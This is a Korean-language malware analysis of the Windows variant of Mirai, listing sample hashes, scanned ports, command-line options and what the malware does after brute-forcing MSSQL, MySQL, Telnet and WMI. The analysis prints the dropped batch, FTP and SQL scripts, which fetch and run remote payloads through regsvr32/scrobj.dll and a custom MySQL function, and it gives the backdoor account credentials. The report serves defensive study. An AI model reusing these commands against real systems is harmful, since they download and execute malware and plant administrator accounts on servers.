개요
지난 2016년 10월 21일 DNS 서비스 제공업체 다인(Dyn)이 대규모 DDoS(Distributed Denial of Service, 분산서비스거부) 공격을 받아 트위터(Twitter), 넷플릭스(Netflix), 뉴욕타임즈(The NewYork Times, NYT) 등 총 76개의 사이트가 일제히 마비되거나 서비스가 지연되는 사건이 발생했다.
국내에서도 Mirai 악성코드에 의한 피해가 발생하였는데 2016년 9월경 국내 ISP의 국제 관문 망에서 해외 특정 서버로의 트래픽이 과다 발생한 사례이며, 이 사고 역시 Mirai에 감염된 IoT 기기에 의한 DDoS 공격 트래픽으로 확인됐다.
Mirai 는 소스코드가 공개됨에 따라 다양한 변종이 확인되고 있는데 최근에 윈도우용 Mirai가 발견되어 이슈가 되고있다. 여기서는 윈도우용 Mirai 악성코드 분석을 통해 특징을 살펴 보고 향후 대처 방안과 재발방지 방안에 대해 다룬다.
관련기사 – 보안뉴스
파일정보
항목 | 내용 |
---|---|
파일명 | WPD.exe |
파일 타입 | PE |
MD5 | a3c09c2c3216a3a24dce18fd60a5ffc2 |
설명 | 윈도우 OS용 Mirai 악성코드 |
항목 | 내용 |
---|---|
파일명 | 360Safe.exe |
파일 타입 | PE |
MD5 | 297d1980ce171ddaeb7002bc020fe6b6 |
설명 | 윈도우 OS용 Mirai 악성코드 |
항목 | 내용 |
---|---|
파일명 | 360Safe.exe |
파일 타입 | PE |
MD5 | e7761db0f63bc09cf5e4193fd6926c5e |
설명 | 윈도우 OS용 Mirai 악성코드 |
항목 | 내용 |
---|---|
파일명 | md5.exe |
파일 타입 | PE |
MD5 | 91a12a4cf437589ba70b1687f5acad19 |
설명 | 윈도우 OS용 Mirai 악성코드 |
악성행위
C++로 작성된 윈도우용 Mirai는 리눅스용 Mirai 처럼 DDoS 봇의 기능은 수행하지 않고, 특정 범위의 IP 주소대역의 TCP 포트를 스캔하여 다양한 명령어를 실행하거나 다른 악성코드를 전파하는 전파 벡터로 설계되었다. 명령행 인자를 통해 행위를 설정할 수 있다.
열린 포트 검사
실행 시 C&C 서버로 접속하고 설정파일 wpd.dat 를 다운받아 IP 주소 목록을 얻는다. 이후 각각의 IP 들의 열린 포트를 검사한다. 윈도우용 Mirai가 스캔하는 포트는 다음과 같다.
* 22
* 23
* 135
* 445
* 1433
* 3306
* 3389
명령행 인자 별 기능
실행 시 받는 명령행 인자와 역할은 다음과 같다.
인자 | 설명 |
---|---|
-syn | Tcp_connect 모드 대신 Tcp_Syn 모드로 스캔한다 |
-log | 로그파일을 기록한다 |
-see | CMD 창을 출력한다 |
-srv | 서버로 동작한다 |
-cli | 클라이언트로 동작한다 |
-start | 서비스 실행 플래그 |
-stop | 서비스 실행 플래그 |
-create | 서비스 실행 플래그 |
-delete | 서비스 실행 플래그 |
-run | 서비스가 아닌 일반 프로그램으로 실행한다 |
-s | Trojan 서비스를 실행한다 |
이 악성코드는 브루트 포싱에 성공한 서비스의 종류에 따라 세분화된 동작을 수행한다. RDP를 제외한 다른 서비스라면 미리 다운받은 설정파일에 표시된 일련의 명령을 실행한다.
리눅스 기기
리눅스 기기에 Telnet으로 접속한 경우, 특정 바이너리를 다운받는데 이는 이후에 Linux.Mirai 를 다운로드 및 실행하는 역할을 한다.
WMI
WMI 와 연결된 경우, 윈도우 악성코드를 원격 시스템에서 실행하고, IPC를 이용해 해당 시스템에 명령을 전달한다.
MS SQL
MS SQL 서버와 연결된 경우 아래 스크립트가 포함된 С:\windows\system32\wbem\123.bat 파일을 생성한다.
@echo off
mode con: cols=13 lines=1
cacls C:\\Progra~1\\Common~1\\System\\ado\\msado15.dll /e /g system:f&cacls C:\\windows\\system32\\cacls.exe /e /g system:f&cacls C:\\windows\\system32\\cmd.exe /e /g system:f&cacls C:\\windows\\system32\\ftp.exe /e /g system:f&cacls C:\\windows\\system32\\rundll32.exe /e /g everyone:f
taskkill /f /im regsvr32.exe&taskkill /f /im rundll32.exe
regsvr32 /s c:\\Progra~1\\Common~1\\System\\Ado\\Msado15.dll®svr32 /s jscript.dll®svr32 /s vbscript.dll®svr32 /s scrrun.dll®svr32 /s WSHom.Ocx®svr32 /s shell32.dll
attrib +s +h *.bat
start regsvr32 /u /s /i:http://*****.com:280/v.sct scrobj.dll
if exist c:\\windows\\debug\\item.dat start rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
exit
또한 아래 내용이 포함된 PerfStringse.ini 파일을 생성한다
[Version]
signature=$CHICAGO$
[File Security]
1=c:\\windows\\system32\\cmd.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=c:\\windows\\system32\\ftp.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=c:\\windows\\system32\\cacls.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=C:\\Progra~1\\Common~1\\System\\ado\\msado15.dll, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=c:\\windows\\system32\\regsvr32.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=c:\\windows\\system32\\icacls.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
1=c:\\windows\\system32\\net1.exe, 2, D:P(A;;GRGX;;;BU)(A;;GRGX;;;PU)(A;;GA;;;BA)(A;;GA;;;SY)
그 외에도 FTP 프로토콜로 보이는 아래 내용이 포함된 c:\windows\systemmyusa.dvr 파일을 생성한다.
open down.f321y.com
mssql
1433
get 1.dat c:\\windows\\system\\myusago.dvr
get 1.bat c:\\windows\\system\\backs.bat
bye
이후 DBMS 에 Mssqla/Bus3456#qwein 계정을 만들고 관리자권한을 할당한다. 이 계정과 ,SQL server 서비스에 할당된 권한을 통해 다양한 악성행위를 수행한다.
MySQL
원격 MySql 서버와 접속에 성공한 경우라면 MySQL/phpgod 으로 계정을 생성하고 아래 권한을 할당한다.
select | insert | update |
create | drop | reload |
process | file | grant |
index | alter | show_db |
create_tmp_table | lock_tables | execute |
repl_client | create_view | show_view |
alter_routine | create_user | event |
create_tablespace | delete | shutdown |
references | repl_slave | create_routine |
trigger |
System32 폴더 하위에 dll을 생성하고 외부함수를 호출해 아래의 MySQL 명령어를 실행한다.
SELECT downa(“http://*****.com:280/mysql.exe”,”c:\windows\system32\ser.exe”);
SELECT cmda(“C:\windows\system32\ser.exe”);
결론
윈도우용 Mirai는 리눅스용과 달리 DDoS 기능은 없지만 Mirai 특유의 강력한 전파기능은 온전히 갖추고 있다. 외부망보다 상대적으로 보안장비가 적을 수 밖에 없는 내부망에 이 악성코드가 감염된다면, 취약한 계정 설정으로 인해 순식간에 악성코드가 전파될 수 있다. 각종 서비스 접근 권한을 내부 IP 주소대역에만 할당했다 하더라도, ID/PASS 의 복잡도가 확보되지 않는다면, 여전히 위협에 노출될 수 밖에 없다.